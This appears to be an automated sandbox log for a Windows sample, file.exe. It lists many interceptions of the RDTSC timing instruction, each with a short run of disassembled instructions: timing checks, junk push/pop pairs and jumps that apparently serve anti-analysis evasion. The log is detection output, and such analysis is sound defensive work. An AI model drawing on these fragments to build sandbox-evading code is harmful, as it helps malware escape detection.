Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730CF5 second address: 730D67 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FD3C5224488h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 movsx edx, si 0x00000028 mov edx, dword ptr [ebp+1244C0DEh] 0x0000002e lea eax, dword ptr [ebp+12481826h] 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FD3C5224488h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov dx, 0224h 0x00000052 push eax 0x00000053 pushad 0x00000054 jne 00007FD3C5224488h 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730D67 second address: 70FD1C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD3C500B9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e jns 00007FD3C500B9D6h 0x00000014 lea eax, dword ptr [ebp+124817E2h] 0x0000001a jg 00007FD3C500B9DDh 0x00000020 push eax 0x00000021 jmp 00007FD3C500B9E5h 0x00000026 mov dword ptr [esp], eax 0x00000029 sub dword ptr [ebp+1244AB7Bh], edx 0x0000002f call dword ptr [ebp+1244AD5Dh] 0x00000035 push ebx 0x00000036 push esi 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768C42 second address: 768C55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C522448Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768C55 second address: 768CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FD3C500B9DCh 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FD3C500B9E8h 0x00000017 pop ecx 0x00000018 pushad 0x00000019 jmp 00007FD3C500B9E7h 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768CA2 second address: 768CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768E09 second address: 768E21 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD3C500B9E2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768E21 second address: 768E3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C5224494h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76959E second address: 7695A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DB57 second address: 76DB5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DB5C second address: 76DB62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7710CE second address: 7710D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7710D4 second address: 7710D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7710D8 second address: 7710DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773B11 second address: 773B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773B15 second address: 773B3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C5224496h 0x00000007 jl 00007FD3C5224486h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnc 00007FD3C5224486h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773B3E second address: 773B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7736DE second address: 7736E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ACF1 second address: 77ACF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ACF5 second address: 77AD0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C522448Ah 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AD0B second address: 77AD0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AD0F second address: 77AD13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AD13 second address: 77AD4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C500B9DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD3C500B9E8h 0x00000011 jbe 00007FD3C500B9D6h 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7798DA second address: 7798E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7798E0 second address: 7798EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD3C500B9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779BC1 second address: 779BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779BC7 second address: 779BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779BCF second address: 779BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779BD3 second address: 779BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779BD7 second address: 779BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779BDD second address: 779BE7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD3C500B9DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779BE7 second address: 779C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007FD3C522449Ah 0x0000000d je 00007FD3C5224492h 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7307E9 second address: 730816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD3C500B9E2h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD3C500B9E1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779D96 second address: 779D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779D9C second address: 779DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779EF7 second address: 779F21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FD3C52244A2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779F21 second address: 779F63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C500B9E3h 0x00000007 jmp 00007FD3C500B9E0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD3C500B9E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779F63 second address: 779F69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779F69 second address: 779F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FD3C500B9F2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779F91 second address: 779F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779F97 second address: 779FAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C500B9DFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AA1F second address: 77AA23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AA23 second address: 77AA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AA31 second address: 77AA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AA35 second address: 77AA44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FD3C500B9D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DBFE second address: 77DC1F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD3C522448Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jns 00007FD3C5224488h 0x00000011 js 00007FD3C522448Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB122 second address: 6EB12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD3C500B9D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D5CD second address: 77D5D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D5D1 second address: 77D5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FD3C500B9DDh 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D5E8 second address: 77D615 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C522448Bh 0x00000007 jmp 00007FD3C5224499h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D615 second address: 77D640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C500B9E2h 0x00000009 jmp 00007FD3C500B9DAh 0x0000000e js 00007FD3C500B9D6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D640 second address: 77D652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C522448Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780DDB second address: 780DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780F0F second address: 780F1C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD3C5224486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780F1C second address: 780F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C500B9DEh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780F31 second address: 780F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FD3C5224499h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7810E4 second address: 7810EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7810EA second address: 7810F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7810F0 second address: 7810F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7810F4 second address: 78110C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007FD3C5224488h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781276 second address: 78127B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7813D5 second address: 7813D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7813D9 second address: 7813DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7813DD second address: 7813E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7813E8 second address: 7813FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD3C500B9D6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FD3C500B9D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7813FD second address: 781403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781565 second address: 781582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jne 00007FD3C500B9E2h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781582 second address: 781586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F36 second address: 788F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F3A second address: 788F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F40 second address: 788F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD3C500B9DCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F52 second address: 788F65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FD3C5224486h 0x00000009 jbe 00007FD3C5224486h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786F67 second address: 786F77 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD3C500B9E2h 0x00000008 jng 00007FD3C500B9D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786F77 second address: 786F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786F7E second address: 786F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7870D5 second address: 7870DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7870DB second address: 7870ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD3C500B9DBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7870ED second address: 7870F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787266 second address: 787271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD3C500B9D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787271 second address: 787277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787277 second address: 787281 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD3C500B9D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7882CE second address: 7882F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C522448Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push ecx 0x0000000b jmp 00007FD3C5224492h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7882F6 second address: 7882FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7882FC second address: 788300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7885B0 second address: 7885CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD3C500B9E4h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78890A second address: 788917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FD3C5224486h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CA9F second address: 78CAAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CAAA second address: 78CABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FD3C5224486h 0x0000000d jne 00007FD3C5224486h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D084 second address: 78D088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D088 second address: 78D097 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD3C5224486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D097 second address: 78D09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D657 second address: 78D66B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnp 00007FD3C5224486h 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D66B second address: 78D6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C500B9E6h 0x00000009 jmp 00007FD3C500B9E2h 0x0000000e popad 0x0000000f jng 00007FD3C500B9DCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799E84 second address: 799EB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C522448Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007FD3C5224486h 0x00000010 jmp 00007FD3C5224496h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A132 second address: 79A141 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C500B9DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A141 second address: 79A14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B3D3 second address: 79B3D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B3D7 second address: 79B3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B3DF second address: 79B403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C500B9E9h 0x00000007 pushad 0x00000008 ja 00007FD3C500B9D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
